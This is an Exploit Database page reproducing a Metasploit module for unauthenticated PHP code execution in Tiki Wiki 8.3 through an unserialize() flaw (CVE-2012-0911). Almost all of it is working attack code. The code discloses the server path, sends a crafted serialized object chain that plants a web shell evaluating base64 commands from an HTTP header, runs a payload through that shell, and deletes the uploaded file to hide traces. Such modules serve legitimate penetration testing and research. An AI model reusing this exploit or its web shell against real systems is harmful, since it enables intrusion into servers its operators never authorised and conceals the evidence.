Tiki Wiki CMS Groupware 8.3 – ‘Unserialize()’ PHP Code Execution (Metasploit)

• Exploit Database
• 18 阅读

• 作者： Metasploit
  日期： 2012-07-09
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/19630/

• ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # web site for more information on licensing and terms of use.
  # http://metasploit.com/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = ExcellentRanking
  
  	include Msf::Exploit::Remote::HttpClient
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'Tiki Wiki <= 8.3 unserialize() PHP Code Execution',
  			'Description'=> %q{
  					This module exploits a php unserialize() vulnerability in Tiki Wiki <= 8.3
  				which could be abused to allow unauthenticated users to execute arbitrary code
  				under the context of the webserver user.
  
  				The dangerous unserialize() exists in the 'tiki-print_multi_pages.php' script,
  				which is called with user controlled data from the 'printpages' parameter.
  				The exploit abuses the __destruct() method from the Zend_Pdf_ElementFactory_Proxy
  				class to write arbitrary PHP code to a file on the Tiki Wiki web directory.
  
  				In order to run successfully three conditions must be satisfied (1) display_errors
  				php setting must be On to disclose the filesystem path of Tiki Wiki, (2) The Tiki
  				Wiki Multiprint feature must be enabled to exploit the unserialize() and (3) a php
  				version older than 5.3.4 must be used to allow poison null bytes in filesystem related
  				functions. The exploit has been tested successfully on Ubuntu 9.10 and Tiki Wiki 8.3.
  			},
  			'Author'	=>
  				[
  					'EgiX', # Vulnerability discovery and PoC
  					'juan vazquez' # Metasploit module
  				],
  			'License'=> MSF_LICENSE,
  			'Version'=> '$Revision$',
  			'References' =>
  				[
  					[ 'CVE', '2012-0911' ],
  					[ 'BID', '54298' ],
  					[ 'EDB', '19573' ],
  					[ 'URL', 'http://dev.tiki.org/item4109' ]
  				],
  			'Privileged' => false,
  			'Platform' => ['php'],
  			'Arch' => ARCH_PHP,
  			'Payload'=>
  				{
  					'DisableNops' => true,
  				},
  			'Targets'=> [ ['Automatic', {}] ],
  			'DefaultTarget'=> 0,
  			'DisclosureDate' => 'Jul 04 2012'
  			))
  
  			register_options(
  				[
  					OptString.new('TARGETURI', [ true, "The base path to the web application", "/tiki/"])
  				], self.class)
  	end
  
  
  	def on_new_session(client)
  		if client.type == "meterpreter"
  			client.core.use("stdapi") if not client.ext.aliases.include?("stdapi")
  			begin
  				client.fs.file.rm(@upload_php)
  				print_good("#{@peer} - #{@upload_php} removed to stay ninja")
  			rescue
  				print_error("#{@peer} - Unable to remove #{f}")
  			end
  		end
  	end
  
  	def exploit
  		base = target_uri.path
  		base << '/' if base[-1, 1] != '/'
  		@upload_php = rand_text_alpha(rand(4) + 4) + ".php"
  		@peer = "#{rhost}:#{rport}"
  
  		print_status("#{@peer} - Disclosing the path of the Tiki Wiki on the filesystem")
  
  		res = send_request_cgi(
  			'uri' => "#{base}tiki-rss_error.php"
  		)
  
  		if not res or res.code != 200 or not res.body =~ /[> ](\/.*)tiki-rss_error\.php/
  			print_error "Tiki Wiki path couldn't be disclosed. The php setting 'display_errors' must be On."
  			return
  		else
  			tiki_path = $1
  			print_good "#{@peer} - Tiki Wiki path disclosure: #{tiki_path}"
  		end
  
  		php_payload = "<?php eval(base64_decode($_SERVER[HTTP_CMD])); ?>"
  
  		printpages = "O:29:\"Zend_Pdf_ElementFactory_Proxy\":1:"
  		printpages << "{s:39:\"%00Zend_Pdf_ElementFactory_Proxy%00_factory\";O:51:\"Zend_Search_Lucene_Index_SegmentWriter_StreamWriter\":5:"
  		printpages << "{s:12:\"%00*%00_docCount\";i:1;s:8:\"%00*%00_name\";s:3:\"foo\";s:13:\"%00*%00_directory\";O:47:\"Zend_Search_Lucene_Storage_Directory_Filesystem\":1:"
  		printpages << "{s:11:\"%00*%00_dirPath\";s:#{tiki_path.length + @upload_php.length + 1}:\"#{tiki_path + @upload_php}%00\";}"
  		printpages << "s:10:\"%00*%00_fields\";a:1:"
  		printpages << "{i:0;O:34:\"Zend_Search_Lucene_Index_FieldInfo\":1:"
  		printpages << "{s:4:\"name\";s:#{php_payload.length}:\"#{php_payload}\";}}"
  		printpages << "s:9:\"%00*%00_files\";O:8:\"stdClass\":0:{}}}"
  
  		print_status("#{@peer} - Exploiting the unserialize() to upload PHP code")
  
  		res = send_request_cgi(
  		{
  			'uri' => "#{base}tiki-print_multi_pages.php",
  			'method' => 'POST',
  			'vars_post' => {
  				'printpages' => printpages
  			}
  		})
  
  		if not res or res.code != 200
  			print_error("#{@peer} - Exploit failed: #{res.code}. The Tiki Wiki Multiprint feature must be enabled.")
  			return
  		end
  
  		print_status("#{@peer} - Executing the payload #{@upload_php}")
  
  		res = send_request_cgi(
  		{
  			'method' => 'GET',
  			'uri'=> "#{base + @upload_php}",
  			'headers' => {
  				'Cmd' => Rex::Text.encode_base64(payload.encoded)
  			}
  		})
  
  		if res
  			print_error("#{@peer} - Payload execution failed: #{res.code}")
  			return
  		end
  
  	end
  end